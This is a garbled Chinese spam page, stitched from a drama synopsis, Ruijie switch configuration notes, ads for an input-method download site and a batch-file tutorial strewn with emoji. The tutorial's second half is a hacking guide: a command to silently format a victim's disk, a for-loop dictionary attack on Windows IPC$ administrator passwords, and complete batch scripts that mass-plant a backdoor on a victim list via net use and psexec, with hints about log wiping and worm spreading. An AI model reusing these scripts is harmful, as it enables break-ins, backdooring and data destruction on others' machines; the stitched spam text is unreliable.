[tg:aoshunseo]讲(😭)述一(💮)名法(🎽)学院毕业生乔德回到家乡(🎫)准备司法考试，但做殡葬业的父亲却生病了，怕鬼的他只(🤢)好硬着头皮协(🍦)助家业。而(🚝)锡安因为(📮)无法接受前女(🐾)友的死亡，想(⏭)方设法希望能(🥓)再跟她见上一面，因此来帮乔德的忙(👨)。究竟在这个(🔝)生与死(🥡)交会的地方，他们会遇见(🧜)什么(📒)样的(🆎)故事呢？
(🔂)锐捷三层交(🚙)换命令大全
(🥉) (🍏)1.首(🐉)先是三层交换机的配置
Ruijie>enable ------>进入特权模式
Ruijie#configure terminal ------>进入(📫)全局配置模式
sdk_1(config)#hostname cd12371 ------>配置交换机的名字为(♿)sdk_1
sdk_1(config)#interface vlan 1 ------>进(🏝)入vlan 1
sdk_1(config-if)#ip address 192.168.1.245 255.255.255.0 ------>为vlan 1设置管理ip
sdk_1(config-if)#exit ------>退回到全(🚟)局模式
sdk_1(config)#line vty 0 4 ------> 进入telnet密码配置模式
sdk_1(config-line)#login ------>启用需输(😤)入密码才能telnet成功(🏽)
sdk_1(config-line)#password Lhyj@)!$cd12371 ------> 将telnet密码设置为123
sdk_1(config-line)#exit ------> 回到全局配置模式
sdk_1(config)# enable secret Lhyj@)!$cd12371 ------>配置(🔉)进入特权(🤒)模式的(📱)密码为123
sdk_1(config)#enable service web-server ------>全局web功能
(👭)sdk_1(config)#vlan 10 name yunwei ------>
sdk_1(config)#vlan 20 name yanfa ------>建立各部 门 的vlan
sdk_1(config)#vlan 30 name fuwu ------>
sdk_1(config)#interface vlan 10 ------>进入vlan 10
(🐕)sdk_1(config-if-VLAN 10)#ip address 172.10.10.254 255.255.255.0 ------>配置各个vlan的(🏧)地址
sdk_1(config-if-VLAN 10)#exit
sdk_1(config)#interface vlan 20 ------>进入vlan 20
sdk_1(config-if-VLAN 20)#ip address 192.168.20.254 255.255.255.0
sdk_1(config-if-VLAN 20)#exit
sdk_1(config)#interface vlan 30 ------>进入vlan 30
(😛)sdk_1(config-if-VLAN 30)#ip address 192.168.30.254 255.255.255.0
sdk_1(config-if-VLAN 30)#exit
(🐀) sdk_1 (config)#service dhcp ---->开启dhcp server功能
(🎞) sdk_1 (config)#ip dhcp ping packets 1
---->在dhcp server分配IP时会(✏)先去(💁)检测将要分配的IP地(🗻)址是否已有人(🎄)使用，如果没人使用则分配，若已有(🛁)人使用则再分(🥋)配下一个IP
sdk_1 (config)#ip dhcp excluded-address 192.168.10.1 192.168.10.100
sdk_1 (config)#ip dhcp excluded-address 192.168.10.141 192.168.10.254设(🐵)置地址为：192.168.10.101至(😚)192.168.10.140的ip地址分配给客户端
sdk_1 (config)#ip dhcp excluded-address 192.168.20.1 192.168.20.100
sdk_1 (config)#ip dhcp excluded-address 192.168.20.161 192.168.20.254设置地址为：192.168.20.101至192.168.20.160的ip地址分配给客户端
sdk_1 (config)#ip dhcp excluded-address 192.168.30.1 192.168.30.100
sdk_1 (config)#ip dhcp excluded-address 192.168.30.121 192.168.30.254 -设置地址为：192.168.60.101至192.168.60.120的ip地址分(🏛)配给客户(❄)端
sdk_1 (config)#ip dhcp pool yunwei ---->新建一个dhcp地址(🔽)池名(🐲)为(🤮)guanli
sdk_1 (dhcp-config)# lease 0 12 ---->租期时间设置为12 小时
(🍮) sdk_1 (dhcp-config)# network 192.168.10.0 255.255.255.0 ----给(🥙)客户端(😄)分配的地址段
sdk_1 (dhcp-config)# dns-server 61.139.2.69 ---->给客户(🏨)端分配的DNS
sdk_1(dhcp-config)# default-router 192.168.10.254
sdk_1(dhcp-config)#exit
sdk_1(config-if-FastEthernet 0/1)#no switchport ---->开启路由模式(🌀)
sdk_1(config-if-FastEthernet 0/1)#ip address 192.168.2.2 255.255.255.0 ---->配置地址
sdk_1(config-if-FastEthernet 0/1)#no shutdown ---->开(🔂)启(🕰)该接口
sdk_1(config-if-FastEthernet 0/1)#exit
2.扩展ACL
(📫) (🍁)(config)#ip access-list extended listname
(🌵)定义命名扩展(🛫)列表，命名(🏫)为listname,extended为扩展
(config-ext-nacl)#deny tcp 192.168.30.0 0.0.0.255 192.168.10.0 0.0.0.255 eq www 拒绝(🚓)源(👥)地址为192.168.30.0网段的IP访问目的地址为192.168.10.0网段的WWW服务
注(🌵)：deny：(🔝)拒绝通过，可(👥)选：deny(拒(🏹)绝通过)、permit(允许通过)
tcp: 协议名称，协议可以是udp, ip，eigrp, gre, icmp, igmp, igrp等等。
192.168.10.0 0.0.0.255：源(🏩)地址及源(🎡)地址通配符
192.168.30.0 0.0.0.255：目的地(⚪)址及目(🔩)的地(🍑)址(🚱)通配符
(👱) (🛳)eq：(🐍)操作(🚀)符(lt-小于，eq-等于，gt-大于，neg-不等于(🤮)，range-包含)
(🍔)www：端口号，可使用名称或具体编号
可以(😴)使(⏫)用的协议名称(🕙)(或编号)和端口名称(或编(🎷)号)请(📥)打?查(🕛)询。
(🆗) (config-ext-nacl)#permit ip any any 允(👱)许其它通过
(🍘)(config-ext-nacl)#end 返回
(config)#interface vlan 10 进入(🏙)端口配置模式
(config-if)# ip access-group listname in 访问控制列表在端口下in方向(🌼)应用;可选：(🚁)in(入栈)、(😺)out(出栈)
(config-if)#end 返回
注：配置ACL时，若只(😕)想对其中部分IP进行(🔩)限制访问(🚲)时(🎧)，必须配置允许其流量通过，否则设备只(🙇)会对(🚳)限制(🔲)IP进(🤓)行处理，不会对非限制IP进行允许通过处理(💥)。
看完以(🤬)上的内容，你是否(💾)对(🥔)这些命令有了大致的了(🈶)解(📇)呢。锐捷(🚦)始(🍄)终坚持的理念是：品质源(🔩)于(😪)设计。这一点(💓)在锐捷旗下推出(🌌)的产(👨)品就能够明显的看出了(🚖)。当然，在(🌚)使用的过程中难免出现失误(⛹)操作，或者对一些操作步骤较为模糊。就比如如何查看锐捷(🚎)三层交换(🐈)机的设置，这是不少人都比较难(🗂)以下(💥)手的(➗)操作。因此，希望看完(🔁)以上内容能(😬)够操作您操作的失误率。
综上所述，搜狗输(👕)入法官网以其丰富的内容资(😂)源、(🏩)便捷的下载通道(🌙)和(🎪)专业的用户服务(🤛)，成为了广大输入(🥀)法(😚)用户不可或缺的信息港湾。无论您(🏊)是初次接触搜(📿)狗(🔲)输入法的新用户(🛳)，还是多年的忠实粉丝，都能在这里找到(📫)满足您需求的资源和服务。通(🐗)过不断优化(🐝)官网(🔜)内容和结构，我们致力于提升搜狗(👈)输入法在搜索引擎中(😝)的可见度(🕕)，让更多用户能够轻松找到并(😤)享(🥣)受(🤢)到搜狗输入法(😸)带来的便(😰)捷与高效。请访问：http://pinyin.37moyu.com/
2.@ 命令(📖)
(🚨) 表示(🚉)不显示(🍑)@后面的命令，在入侵过程(😐)中(例(🙇)如使用(🧀)批处理来格式化(🔤)敌人的硬盘)自(🍅)然不能让对(🦅)方看到(🀄)你使(🏉)用(🛰)的命令啦。
(🏗)Sample：@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参(🔖)数的，可喜的是(🔺)微软(📝)留(🐍)了(🙈)个autoset这个参(🤦)数给(🚶)我们，效果和/y是一样(🎣)的(🔃)。)
3.Goto 命令
(🎖) 指定跳转(🚱)到标(📲)签，找到标签后，程序将处理(⬅)从下(🐒)一行开始的命令。
(💮) (⛴)语(⚪)法：goto label (label是参数，指定所要转向(🚗)的批处(🚑)理程序中的行。)
Sample：
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你(⭕)不明白的话，先跳(🗺)过去，后面会有详细的(🌏)解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名(🔭)字(🚌)可以随便起，但是最好是有意(🍂)义的字母啦，字母前加(🏰)个：用(👃)来表(🐏)示这个字母是标签，goto命令就(😸)是根据(🔀)这个：来寻(🗿)找(🏷)下(🔵)一步(🛂)跳到到那里。最好有一些说明(🏫)这(🛁)样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令，在C语言中相当与/*--------*/,它并不会(🤝)被执行，只是起一个注释的(😭)作用，便于别(🔇)人阅(🍣)读和你自己日后修改。
Rem Message
(🗽) Sample：@Rem Here is the description.
5.Pause 命(🎥)令(♑)
(🎬) 运(🛄)行 Pause 命令时，将显示下面的消息：
Press any key to continue . . .
Sample：
@echo off
:begin
(🙅)copy a:*.* d：\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子(Ⓜ)中(♒)，驱(🎿)动器 A 中(😆)磁(🔛)盘上的(🔷)所有文件均复制到d:\back中。显(🏑)示的注释提示您将另一张磁盘放(🅱)入驱动器 A 时，pause 命(🎖)令会使程(🏹)序挂起，以便您更换磁盘，然后按任意键继续处(📕)理。
6.Call 命令
从一个批处理程序调用另(🈷)一(⤵)个批处理程序，并且不终止父批处理程序。call 命令(🕚)接受用作调(📰)用目标的标签。如果在脚本或(➖)批处理文(😭)件外使用 Call，它将不(🔶)会在命令行起(🤐)作用。
(🗳)语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数(😇)
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名(😘)。
7.start 命(👖)令
调用外部程序，所有的DOS命令和命令行程序都可以(🛺)由start命令来调用。
入侵常(🍤)用参(👜)数：
(🌔)MIN 开始时窗口最小化
SEPARATE 在分(🔥)开的(🐟)空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优(📳)先级(🏇)类别开始应用程序
(🦗)REALTIME 在 REALTIME 优先级(🛶)类别(🤹)开始应用(🐓)程序
WAIT 启动(🛺)应用程序并等候(🥍)它结束
parameters 这些为(➿)传送到(🚸)命令/程序(🙂)的参数
执行的应(🦅)用(🌇)程序是 32-位 GUI 应(🚀)用程序时，CMD.EXE 不等应用程序终止就返回命令提示(🎩)。如果在(🍛)命令脚本内执行，该新(🛸)行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输(📰)入一个字符，从(🕎)而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间(🚇)无空格。它的(🌖)返回码为1234……
如(❇): choice /c:dme defrag,mem,end
将(🐲)显(👮)示
defrag,mem,end[D,M,E]?
(🤔) Sample：
(🚊)Sample.bat的内容如下:
(🥪) (🗜)@echo off
(⭐)choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的(😨)错误码)
(🗳)if errorlevel 2 goto mem
if errotlevel 1 goto end
(⛰) :defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文(😮)件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句(🍉)将作出判断，d表(🌥)示执行标号为defrag的程序段，m表示执行标(🐠)号为mem的程序段，e表示(🏉)执行标号为end的(🆎)程(📃)序段(🈷)，每个程序(🥋)段最后都以goto end将程(🌼)序跳到end标号处，然(👦)后程序将(😶)显示good bye，文件结束。
9.If 命令
(📷) (🗼)if 表示将判断是否符合规定的条件，从而决定执行不同的(🤲)命令。 有三种格式(🍁):
1、if "参数" == "字(🤔)符串" 待执行的命令
参数如果等(💹)于(🧔)指定的字符串，则条件成(🐐)立，运行(📓)命令，否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
(🍦)if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件(🤺)名 待执行的(🍝)命令
如果(💵)有(🐀)指定的文件，则条件成立，运(🕺)行命令，否(😦)则运行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执(⚾)行的命令
如果(🥃)返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。
如(🙍)if errorlevel 2 goto x2
DOS程序运行时都会返回一个数字(🚩)给DOS，称(😵)为错误码errorlevel或称返(😲)回码，常见的返(🛰)回码为0、1。
10.for 命令
for 命令(✨)是一(🍗)个比较复(📛)杂的命令，主(🙈)要用于参数在指定的范(📡)围内循环执(🎑)行命令。
在批(❗)处理文件中使用 FOR 命令时，指定(⛏)变量请使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可(🍌)替换的参数。
(🎭)(set) 指定一个或一组文件。可以使用(🍓)通配符。
(📳) command 指定对每个文件执行的命令。
(🐗)command-parameters 为特(🐻)定命令指定参数或命令行开关。
(🌞) 在批处(🙆)理文件中使用 FOR 命令时，指定变量(🖍)请使用 %%variable
(😗) 而不要(❣)用 %variable。变(🤽)量名称(🔰)是区分大小写的，所(🌋)以 %i 不同于 %I
(😯) 如果命令扩(🐷)展名被(🚤)启用，下(🏖)列额外的 FOR 命令格式(🎋)会受到支持:
(🕎)FOR /D %variable IN (set) DO command [command-parameters]
如(🤑)果集中包含通配符(🤓)，则(🏄)指定与目录(👺)名匹配，而不与(💺)文件名匹配(🤷)。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
(🥁) 检查以 [drive:]path 为根(🛒)的目录(🌒)树，指向(🥔)每个目录中的FOR 语句。如果在 /R 后没有指(🔖)定(🙆)目(🈴)录，则使用当前目录(🕹)。如果集仅为一个单点(.)字符，则枚(⬆)举该目录树。
(😈) FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束(🌡)的(🐱)一(🏮)个数字序列。
因此，(1,1,5) 将(🍆)产生序列 1 2 3 4 5，(5,-1,1) 将产生序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者，如(🎭)果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
(🔵)filenameset 为一个(🔩)或多个文件名。继续到(🦍) filenameset 中的下一个文件之前，每份文件都已被打(🐦)开(📷)、读(⛪)取并经(💗)过处理。处(🈸)理包括读取文件，将其(♍)分成(🍸)一行行的文字，然后将每行解析成零或更(🦓)多的符号。然(🍼)后用已找(🦀)到的符号(🤣)字(📤)符串变量值调(🍠)用(🐻) For 循(🎋)环。以默认方式，/F 通(🙁)过每个文件的每一行(🧔)中分(🛏)开的第一个空白(🙏)符(🎸)号。跳过空白(📕)行(🏩)。您可通过指定可选 "options"参(🔐)数替(🏑)代默认(⬆)解析操作。这个带引号的字符串包括一个(💶)或多个指定不同解析(🕸)选项的关键字。
这(💭)些关键字为:
eol=c - 指一个行注释(📀)字符的结尾(就一个(🎬))
skip=n - 指(🤙)在文件开始时忽略(✅)的行(🤰)数。
(💧) delims=xxx - 指(🚪)分隔符集。这个替换了空格和跳格键的(🚬)默认(🧠)分隔符集(🕶)。
(📣)tokens=x,y,m-n - 指每行(📭)的哪一个符号被传递到每个迭代的 for 本(💀)身。这会导致(⚪)额外变量(🖌)名(🍽)称的格(🏊)式为一个范围。通过(🛴) nth 符号指定 m符号字符串中的(🛎)最后一个(🧠)字符星号，那(🤔)么额外的变量将在最后一个符号(🍕)解(🎈)析之分配并接受行的(🔚)保留文本。
(🧦)usebackq - 指定新语法已(🧠)在下类情况中使用:
在作为命令(👉)执行(🚖)一个后引号的字符串并(🤤)且(🔻)引号字符为文字(🍖)字符串命(✅)令并允(🦋)许(🕦)在 fi中(🤒)使用双引号(⬛)扩起(🌝)文件名称(🏇)。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行，忽略以分号打头的那(📼)些行，将每行中的(🆑)第二(🤱)个(🌬)和第(🕢)三个符(🎆)号传递给 for 程序体;用逗号(🀄)和/或空格定(🛂)界符号。请注(🍳)意，这个 for 程序体(⏮)的语句(🚮)引用 %i 来取得第二个符(🥫)号，引用 %j 来取得第三个(😗)符号，引用(🖋) %k来取得第三个(🈺)符号后的所有(🏵)剩(🏮)余符号(😮)。对于带有空(🔢)格的文(👅)件名，您需要用双引号将文件(🙆)名括起来。为了用(🗜)这种方式来使用双引号，您还需(📦)要使用 usebackq 选项，否则，双引号会被理解成是用作定(🏚)义某个要分析的字符串的。
%i 专门在 for 语句中得到说(📁)明(⛏)，%j 和 %k 是通过tokens= 选项专门(🚛)得到说明的。您可(🤴)以通过 tokens= 一行指定(🐫)最多 26 个符号，只要不试图说明一个(📰)高于字(🎠)母 z 或Z 的变量。请记住，FOR 变量(📐)是单一字母、分大小写和(📻)全局(🛏)的;同时不(💁)能有 52 个以上都在(🐇)使(🛤)用中。
(⏲) 您还可以在相邻字符串上使用 FOR /F 分(👅)析逻辑(🎉);方法是，用单引号将括号之间的 filenameset 括起来。这样，该(🏞)字符串会被当作一个文(🌶)件中的一(⌛)个单一输入行。
最(🔙)后，您(♍)可以(🥜)用(⛸) FOR /F 命令来(🍴)分析命令的输(🎾)出。方法是，将(🥡)括号之间(😝)的 filenameset 变成一个反括字符串。该字符(📼)串(🗼)会被当(🛡)作命令行，传(🚉)递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此，以(🦒)下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境(🕙)变量名称。
另外，FOR 变量参照的替换已被增(😮)强。您现在可(😖)以使用下列选项语法:
(💏) ~I - 删除任何引号(🔢)(")，扩充 %I
(👸) %~fI - 将 %I 扩充到一个完全合(📭)格的(🐬)路径名(😣)
%~dI - 仅将 %I 扩(😳)充到(❄)一个驱动器号
(🐼)%~pI - 仅将 %I 扩充(🍰)到一个路径
(😟) %~nI - 仅将 %I 扩(🈳)充(🌨)到一(😦)个文(📪)件名(💜)
%~xI - 仅将 %I 扩充到一个文(🕥)件扩展名
%~sI - 扩充的路径只含有短名
(🐍) %~aI - 将 %I 扩充到文件的文件属性(🅿)
%~tI - 将 %I 扩充(📶)到文件的日期/时间
%~zI - 将 %I 扩充到文件(💑)的大小(💖)
%~$PATH:I - 查找列在路(🏗)径环境变量的目(😏)录，并(➗)将 %I 扩充到找到的(🌱)第一个完全合格的名称。如果环境变量未被定义，或者没有找到(⬇)文件，此组合键会(♉)扩充空(🤪)字符串可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充(🏺)到一个驱动器号和路径
%~nxI - 仅将 %I 扩(🕐)充到(📈)一个文件名和扩展名
(🚥)%~fsI - 仅将 %I 扩(🌬)充到一个带有短名的完整路(🖍)径名(🌃)
(🚕)%~dp$PATH:i - 查找列在路径(🍬)环境(🍯)变量(👮)的目录，并将(🗡) %I 扩充到找到的第(🚭)一个驱动器号和路(♓)径。
%~ftzaI - 将 %I 扩充到类似(🌫)输出线(👹)路的 DIR
(🚉) 在以上例(🦇)子中，%I 和 PATH 可(💪)用其他(👗)有效数(🕑)值代替(⬛)。%~ 语法用一个有效的 FOR 变量(👉)名终止。选取类似 %I 的大写变(🔭)量名(🌂)比较(❄)易(⚡)读，而且避(🛅)免与(🏋)不分大小写的(🗽)组(❎)合键混淆。
以(🗑)上(👏)是MS的官方(🥓)帮助，下面我(🕐)们举几个(😊)例子来具体说明一下For命令在入侵中的(📙)用(🍗)途。
sample2：
(🏜) 利用For命令来实现对一台目标(👣)Win2k主机的(🧑)暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝(🏎)试这和目标主机进行连接，当(🏮)成功时记下(💚)密码。
(🥠)最主(🦇)要的命令(💥)是一条：for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
(🔐)用i%来表示admin的密(🈲)码，在dict.txt中这(🛀)个(🍆)取i%的值用net use 命令来连接。然后将(🌃)程序运行结果传递给find命令(🛀)--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ，这样就ko了。
sample3：
(❌) 你有没有过手里有大量肉(👵)鸡等着你去种后(👭)门 木(🌱)马呢?，当数量特别多的时候，原本很(🍞)开心的一件事都(🔨)会变得很郁闷：)。文(🍭)章开头(🔮)就(🚒)谈到(🤹)使用批处理文件，可以简化日常或重(🐬)复性任务。那么(♊)如何实现(🔤)呢?呵呵，看下去(🛏)你就会明白了(🗼)。
(🚌)主要命令也只有一条：(🧀)(在批处理文件中使(🔥)用 FOR 命令时，指(🍨)定变量使(🥣)用 %%variable)
(🍬)@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
(⛏) tokens的用法(🎎)请参见(🈵)上面的sample1，在这里它表(🎫)示按顺序将(🏷)victim.txt中(🈴)的(🕐)内容(👘)传递给door.bat中的参数%i %j %k。
而cultivate.bat无非(😘)就是用net use命令来建立IPC$连接，并copy木马 后门到victim，然后用(🚔)返回码(If errorlever =)来筛选成功种植后门的主机，并echo出来(🆕)，或者echo到(💯)指定的(🤩)文件。
delims= 表示vivtim.txt中的(🗞)内容是一空格来(📊)分隔的。我(⏸)想看到这里你也一定(🚋)明白这victim.txt里的内容是什(🐴)么样的了。应(🐚)该根据%%i %%j %%k表示(🍡)的对象来排(🍋)列，一般(🐡)就(📮)是(🌩) ip password username。
代(🔖)码(🕡)雏形：
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
(📶)@echo off
(🌄) @if "%1"=="" goto usage
(😡)@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
(📏) :usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
(🙇)------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
(🕚)@if errorlevel 1 goto failed
(🎦)@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
(⏮)@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
(🍮)----------------- cut here then save as a batchfile(I call it door.bat) -------------------
这(👡)只是一个自动种植后门批处理的雏形，两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容(🎒)
(🏇) 尚可扩展,例如:加入清除日志(🧜) DDOS的功能,加(🐢)入(📢)定(🐽)时添加用(😪)户的功能(📉),更深入(🅿)一点可以使之具备自动传播功能(蠕虫).此处不多做叙(🍦)述,有兴趣的(🤺)朋友可自(⚾)行研究.
搜狗输入法官网不仅提供了便捷的下载(🚉)通(🕸)道，还为用户准(🔘)备了详尽的使用指南和贴心的(🎎)客户服务。通(🤯)过(🤓)访问 http://pinyin.37moyu.com/ ，您将进入一(🌈)个全(🧟)新的智能(🍖)输入世界(🌇)。无论您遇到任何问题或困惑，搜狗输(✝)入法官网都将是您(🛋)最坚实的后盾。立(🍤)即(✨)点击(🍠)链(🛒)接(🏝)，开启您的智能(📒)输入之旅吧！